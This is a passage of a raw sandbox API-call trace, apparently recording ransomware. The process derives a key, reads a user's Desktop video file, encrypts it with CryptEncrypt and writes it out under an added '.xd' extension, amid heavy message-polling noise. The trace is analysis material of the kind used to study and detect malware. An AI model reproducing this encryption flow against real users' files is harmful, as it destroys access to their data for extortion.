lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0074.875] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0074.875] CryptDeriveKey (in: hProv=0x1632100, Algid=0x6610, hBaseData=0x164c770, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c2f0) returned 1 [0074.875] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.875] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.875] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.875] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.875] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.875] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.875] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0074.875] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0074.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0074.876] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0074.876] CryptDestroyHash (hHash=0x164c770) returned 1 [0074.876] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.876] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.876] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.876] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.876] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.876] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\a8vJTaJRC.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\a8vjtajrc.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8 [0074.876] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.876] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0074.876] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.876] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.877] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.877] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0074.878] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\a8vJTaJRC.avi.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\a8vjtajrc.avi.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0 [0074.878] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.878] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.878] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.878] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.880] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0074.881] ReadFile (in: hFile=0x3d8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x6496, lpOverlapped=0x0) returned 1 [0074.882] ReadFile (in: hFile=0x3d8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0074.886] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.886] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.886] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.886] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0074.887] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.887] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.887] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0074.887] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.887] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0074.887] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.887] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.887] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.887] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0074.887] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0074.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0074.887] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0074.887] CryptGetKeyParam (in: hKey=0x164c2f0, dwParam=0x7, pbData=0x1629510, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629510*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0074.888] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.888] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.888] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.888] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.888] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.888] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.888] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.888] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.890] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0074.890] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.890] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.890] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0074.890] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.890] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.890] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0074.890] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.890] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.890] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.890] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.890] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.890] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.890] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.890] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.890] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.891] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.891] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0074.891] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16218e8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0074.891] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0074.891] CryptEncrypt (in: hKey=0x164c2f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x6496, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x64a0) returned 1 [0074.891] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.891] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.891] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.891] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.891] CharLowerBuffW (in: lpsz="byte[25761]", cchLength=0xb | out: lpsz="byte[25761]") returned 0xb [0074.891] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.892] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.892] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.892] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.892] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0074.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621ba0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0074.893] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0074.893] CryptEncrypt (in: hKey=0x164c2f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17ed460*, pdwDataLen=0x130e618*=0x6496, dwBufLen=0x64a0 | out: pbData=0x17ed460*, pdwDataLen=0x130e618*=0x64a0) returned 1 [0074.893] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.893] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.893] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.893] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.893] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.893] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.893] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0074.893] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.893] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0074.893] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.893] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.893] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.893] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.893] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0074.893] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.893] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.894] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.896] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.896] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.896] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.896] WriteFile (in: hFile=0x3d0, lpBuffer=0x17e0b20*, nNumberOfBytesToWrite=0x64a0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17e0b20*, lpNumberOfBytesWritten=0x130f01c*=0x64a0, lpOverlapped=0x0) returned 1 [0074.897] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.898] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.898] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0074.898] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.898] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.898] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0074.898] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0074.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621270, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0074.898] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0074.898] CryptDestroyKey (hKey=0x164c2f0) returned 1 [0074.898] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.898] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.898] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0074.898] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0074.899] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0074.899] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0074.899] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0074.899] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0074.899] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.899] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0074.899] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0074.899] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0074.899] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.899] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.899] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.899] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0074.899] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.899] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0074.899] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.899] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.899] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.899] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.899] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0074.899] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 